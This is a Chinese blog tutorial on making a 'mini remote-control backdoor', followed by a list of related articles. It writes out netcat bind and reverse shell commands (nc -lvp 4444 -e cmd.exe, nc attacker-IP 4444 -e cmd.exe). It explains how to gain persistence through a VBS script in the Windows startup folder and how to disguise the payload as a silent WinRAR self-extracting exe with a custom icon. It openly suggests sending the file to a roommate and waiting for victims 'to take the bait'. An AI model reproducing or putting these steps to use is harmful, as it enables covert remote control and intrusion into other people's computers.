用nc+简单bat/vbs脚本+winrar制作迷你远控后门
前言
某大佬某天和我聊起了nc,并且提到了nc正反向shell这个概念。
我对nc之前的了解程度仅局限于:可以侦听TCP/UDP端口,发起对应的连接。
真正的远控还没实践过,所以决定写个小后门试一试。
1.NC、正向Shell、反向Shell介绍
1.1 什么是nc:
nc是netcat的简写,就是一个简单、可靠的网络工具。当然因为某些奇怪原因,已经被各大杀毒轮番轰炸。原因就和下文所述有关。
1.2 nc的作用:
1.3 nc的部分参数:
和其他工具一样,nc也有许多参数,这俩选取两个最关键的参数说明一下。
(1)-l:用法: nc -l(或-lvp,代表输出交互信息)4444。
该参数用于指定nc处于侦听模式。此时nc被当作服务器端,侦听并接受连接。简单地说,别人可以通过你的ip+你接收连接的端口号(4444)来连上你。
(2)-e:罪魁祸首 用法:nc 192.168.0.7 4444 -e cmd.exe
nc -lvp 4444 -e cmd.exe
该参数的用处很简单,重定向执行-e后指定程序。
比如nc 192.168.0.7 4444 -e cmd.exe这条命令。意思就是向目标ip+端口请求连接,若连接成功后,你的cmd.exe就会在服务器端被重定向执行。
(服务器端--执行--客户端的cmd.exe)
而对于nc -lvp 4444 -e cmd.exe该命令。意思是侦听并接收其他人对你4444端口的连接。若别人连接成功,别人就可以执行服务器端的cmd.exe。
(客户端--连接--侦听中的服务器端--执行--服务器端的cmd.exe)
在linux下,可以等价变为-e /bin/sh或-e /bin/bash。但无论如何,-e可以完全实现远控的功能。
在高版本的nc中,已经默认禁用了-e这个选项。不过仍然可以通过手动修改源码重新编译来开启。这里以1.12版本的nc来实现我们的远控后门。
1.4 正向Shell(Bind Shell)
原理很简单,一张图就可以说明:

在被攻击的目标端上执行:nc -lvp 4444 -e cmd.exe
如同上文所述:侦听并接收其他人对你4444端口的连接。若别人连接成功,别人就可以执行服务器端(目标端)的cmd.exe。
换句话说,目标端的4444已经和cmd.exe“ 绑”在了一起。只要4444端口被连接,cmd.exe就拱手相让。
攻击端的指令就很简单了:nc 目标端ip 4444
请求连接目标端的4444端口,一旦连接上,目标端的cmd.exe就可以随便执行了。
1.5 反向Shell(Rerverse Shell)

在被攻击的目标端上执行:nc 攻击端ip 4444 -e cmd.exe
意思是向攻击端的ip+端口请求连接,若连接成功后,,目标端的cmd.exe就会在服务器端(攻击端)被重定向执行。
换而言之,目标端把自己的cmd.exe“送”给了攻击端。攻击端只需要开启侦听,接收连接,只要连接建立就可以执行目标端的cmd.exe.
那么,攻击端只需要开启4444端口的侦听,等待有谁连进来上钩就行了:nc -lvp 4444
无论是正向shell与反向shell,只要攻击端和目标端能互相ping通即可。那么对于反向shell来说,如果攻击端的ip是某台公网上的服务器地址,后果就请自行脑补了。
2.基于正反向Shell实现的后门的制作流程
既然是后门,就需要满足以下几个条件:
1.静默操作,不弹框,没异常
2.位置隐蔽,不易查找
3.维持控制
根据这些,有以下几条思路:
1.把目标端需要执行的命令写在一个.bat文件(以下称为文件1)中,命令都以cmd /c的形式执行(不弹窗)
2.把文件用winrara打包成一个自解压缩文件,静默执行(不弹框,自动解压到指定目录),并在解压后执行另一个.bat文件(文件2)
其中文件2的作用是把一个vbs脚本(文件3)解压到开机自启目录下(后面会说),并且执行最关键的文件1.
3.文件3的功能就很简单粗暴了:执行文件1。因为文件3在开机自启目录下,也就是每次开机都会执行。可以起到维持远控的作用。
光凭文字不太能说明清楚,下面我们看一下这几个文件的真面目。
2.1 基于正向Shell的远控后门
目录结构如下:

其中nc.exe,人如其名,是必要的工具,不多说了。
先来看“文件1”:Windows.bat

切到解压目录下,并且执行目标端的nc命令。
之后是“文件2”:System.bat

把文件3复制到开机启动项中,并且执行文件3.
“文件3”:important.vbs

运行文件1,并且不显示窗口。
从上面不难看出,解压目录后,只要运行System.bat就可以实现预期功能。
那么怎么解压到指定目录并执行呢?来看一下winrar的自解压缩功能。





也可以自定义自解压缩程序的图标

那么制作出来的.exe大体上是这样的

现在发给你的室友,让他双击执行,你在用nc监听下他的ip的4444端口,然后就舒服了。
2.2 基于反向Shell的远控后门
正向Shell虽然简单粗暴,但是真要应用,也就在局域网内好用。(比如宿舍网络)
如果想实现真正意义的远控,那么反向shell更好用一点。
对于反向shell来说,如果攻击端的ip是某台公网上的服务器地址,那么只要目标端有网络环境,就可以被远控。
所以如果你拥有一台云服务器,就可以安排了。
这个后门程序与正向shell的大同小异:

reverseshell.bat:

system32.bat:

soimpartant.vbs:

之后也做成自解压文件,就可以了。

使用方法很简单:在你的服务器上监听4777端口,等着别人上钩就行了。
3.实际演示
用虚拟机演示一下surprise.exe把。kali是攻击端,本机win7是目标端。
如图所示,目标端执行该程序后。只要知道其ip,即可:

4.未完待续
虽然这两个程序已经基本上实现了远控的功能,但是却还有很多不完善。
1.两个程序仍然可以被winrar识别,打开并解压。
这个貌似可以通过改文件头来混淆过去。
2.无脑被杀毒软件安排
……nc是众矢之的,等有空研究下免杀吧。
顺便说下怎么杀掉这个后门吧:把目录删掉,启动项删掉。kill掉所有nc和cmd进程。

要期末了。国赛打(送)完估计要停一段时间了,这个后门以后有空再继续完善吧。
用nc+简单bat/vbs脚本+winrar制作迷你远控后门的更多相关文章
- 几个简单的VBS脚本程序以及其JS实现
1 语音发声脚本,调用sapi.spvoice读英语hh 保存为say.vbs,点击打开就可以念诗: set objTTS = CreateObject("sapi.spvoice&quo ...
- python+msf 制作 windows远控
最近分析的一个远控,后发现是meterpreter rever http shell,文件是个打包的python(打包成exe),感谢wstone的指导~ 创建dll ./msfpayload win ...
- Vbs脚本经典教材(转)
Vbs脚本经典教材(最全的资料还是MSDN) —为什么要使用Vbs? 在Windows中,学习计算机操作也许很简单,但是很多计算机工作是重复性劳动,例如你每周也许需要对一些计算机文件进行复制.粘贴.改 ...
- Vbs 脚本编程简明教程之一
—为什么要使用 Vbs ? 在 Windows 中,学习计算机操作也许很简单,但是很多计算机工作是重复性劳动,例如你每周也许需要对一些计算机文件进行复制.粘贴.改名.删除,也许你每天启动 计算机第一件 ...
- Vbs脚本经典教材
转载:http://www.cnblogs.com/BeyondTechnology/archive/2011/01/10/1932440.html Vbs脚本经典教材(最全的资料还是MSDN) —为 ...
- [opentwebst]一个简单的登陆脚本
这个是个简单的vbs脚本,使用opentwebst进行录制 'Use the command line below to launch the script (or just double click ...
- Windows系统使用vbs脚本或bat脚本强制杀死指定所有进程 vbs实现循环持续写入内容到vbs打开开的记事本 使用vbs、bat添加windows计划任务 使用cmd schtasks命令添加windows计划任务
以下脚本windows7下成功运行过,脚本也可以windows计划任务程序一起组合使用 新建一个记事本文档粘贴下面代码后将新建的记事本文档重命名下面对应的脚本名就能使用了: 添加windows计划任务 ...
- 如何用VBS编写一个简单的恶搞脚本
windows系统的电脑, 首先右击桌面,选择新建-文本文档,在桌面上新建一个文本文档: 随后打开计算机或者是我的电脑,点击其中的组织(xp系统多为工具),选择下面的文件夹和搜索选项 ...
- Vbs脚本简单使用
之前在做项目时用到了一点vbs脚本,记录下. C++程序调用vbs脚本 System(vbs路径 参数); //空格隔开 Vbs脚本 '''''Vbs脚本解析参数 Set objArgs = Wscr ...
随机推荐
- HDU 3351 Seinfeld 宋飞正传(水)
题意: 给出一个串,串内只有大括号,问经过几次改变可使全部括号合法?改变指的是可以将某一方向的括号变成另一方向. 思路: 利用栈的特点,若出现成对的合法括号,直接删掉,留下那些不合法的成为一串.既然不 ...
- U盘小偷——C++实现U盘插入检测和文件扫描拷贝
前几天女朋友说老师上课的PPT不共享,没法复习,想着写个U盘小偷拷贝PPT来着,后来觉得这样的行为这是不对的,万一不小心复制了老师的专利啥的,或者一些不可描述的东西,就闹大了. 虽然没有采取实际行动, ...
- MySQL设计规范与性能优化
引言 MySQL是目前使用最为广泛的关系型数据库之一,如果使用得当,可支撑企业级高并发.高可靠服务,使用不当甚至连并发量略高的个人网站都难以支撑: 就算使用了缓存,大量的数据库访问依旧在所难免,即使设 ...
- EF写统计
EF的特性是,你from的第一个表为主表,接下来的所有表以左联或者内联或者交叉连接的方式去显示,不会出现右联, 在编写的时候,可以先确定个数据源,然后对这个数据源进行数据的统计, 例如SQL: -- ...
- noip模拟赛#23
T1:n个元素的集合.要求取出k个子集,使得k个子集交集为空集.问有多少中取法. =>推了很久...想的是从k等于2的情况推到k等于3的情况....然后k=2推出来了k=3也推出来了...推了挺 ...
- python_42_文件补充
m=['红烧肉\n','熘肝尖','西红柿炒鸡蛋','腊八粥','油焖大虾'] fname=input("请输入文件名:")#输入xxx f=open(fname,'w',enco ...
- shiro学习记录(三)
1.使用ehcache缓存权限数据 ehcache是专门缓存插件,可以缓存Java对象,提高系统性能. l ehcache提供的jar包: 第一步:在pom.xml文件中引入ehcache的依赖 &l ...
- 导航条(Navbar)
1.添加.navbar-fixed-top类可以让导航条固定的页面的顶部,固定的导航条会遮住页面上其它的内容,除非给body元素设置padding,导航条默认高度为50px ,因此可以给body元素设 ...
- 3_HA介绍和安装部署
一.hadoop 2.x产生背景 1.hadoop 1.x中hdfs和mr在高可用和扩展性等方面存在问题.2.hdfs存在的问题:NN单点故障,难以应用于在线场景:NN压力过大,内存受限,影响系统扩展 ...
- SOA架构设计案例分析
转载自:https://www.jdon.com/soa.html 首先Martin Fowler提出SOA歧义Service Oriented Ambiguity,认为"什么是SOA&qu ...